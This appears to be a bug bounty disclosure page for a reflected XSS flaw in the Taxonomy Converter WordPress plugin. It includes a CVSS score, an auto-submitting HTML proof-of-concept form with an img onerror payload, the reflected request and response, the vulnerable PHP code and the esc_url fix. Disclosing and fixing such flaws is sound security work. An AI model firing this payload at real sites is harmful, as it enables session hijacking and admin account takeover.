Reflected XSS: Taxonomy Converter via tax parameter
The Taxonomy Converter WordPress plugin reflects the 'tax' parameter without encoding in an error message, allowing an attacker to inject script that executes in the victim's browser. An attacker could perform actions as the victim, including creating an admin user if the victim is an administrator.
- Triaged in 5 days
- Fixed in 5 months
- Paid in 5 months
- Disclosed after 6 months
CVSS
Medium 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Description
The Taxonomy Converter that is listed on the Official WordPress plugins page is vulnerable to reflected XSS as it echoes the tax parameter without encoding.
POC
<html>
<body>
<form action="http://192.168.0.104/wordpress5/wordpress/wp-admin/admin.php?import=wptaxconvert&tax=categoryx'"><img+src%3dx+onerror%3dalert(1)>&step=2" method="POST" enctype="text/plain">
<input type="hidden" name="test" value="test " />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Request
POST /wordpress5/wordpress/wp-admin/admin.php?import=wptaxconvert&tax=categoryx'"><img+src%3dx+onerror%3dalert(1)>&step=2 HTTP/1.1
Host: 192.168.0.104
[...]
test=test
HTTP/1.1 200 OK
[...]
<p>Uh, oh. Something didn’t work. Please <a href="admin.php?import=wptaxconvert&tax=categoryx\'\"><img src=x onerror=alert(1)>">try again</a>.</p>
Code
/wp-content/plugins/taxonomy-converter/taxonomy-converter.php
function process($tax) {
global $wpdb;
if ( (!isset($_POST['terms_to_convert']) || !is_array($_POST['terms_to_convert'])) && empty($this->terms_to_convert) || (!isset($_POST['taxes'])) ) { ?>
<div class="narrow">
<p><?php printf(__('Uh, oh. Something didn’t work. Please <a href="%s">try again</a>.', 'wptaxconvert'), 'admin.php?import=wptaxconvert&tax='.$tax); ?></p>
</div>
<?php return;
}
Solution
Apply esc_url or similar to $tax before passing it to printf.
Impact
With a successful attack, an attacker can access all data the attacked user has access to, as well as perform arbitrary requests in the name of the attacked user.
If the attacked user is an administrator, the attacker could for example create a new admin user and thus gain full control of the application (and depending on the settings, the server).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The plugin echoes the 'tax' parameter directly into an HTML attribute without encoding or escaping.
Impact
An attacker could access all data the victim has access to and perform arbitrary requests as the victim; if the victim is an administrator, the attacker could create a new admin user and gain full control.
What the attacker needed
Victim clicks a crafted link or submits a form; victim is logged in to WordPress
The fix
Apply esc_url or similar encoding to the $tax variable before passing it to printf.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Reflected cross-site scripting (XSS) happens when a website takes something you typed or sent and puts it directly into a page without cleaning it first. Here, the plugin puts the 'tax' value into an error message, so if an attacker crafts a special link, the victim's browser runs the attacker's code. This lets the attacker act as the victim, like clicking buttons or reading data.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.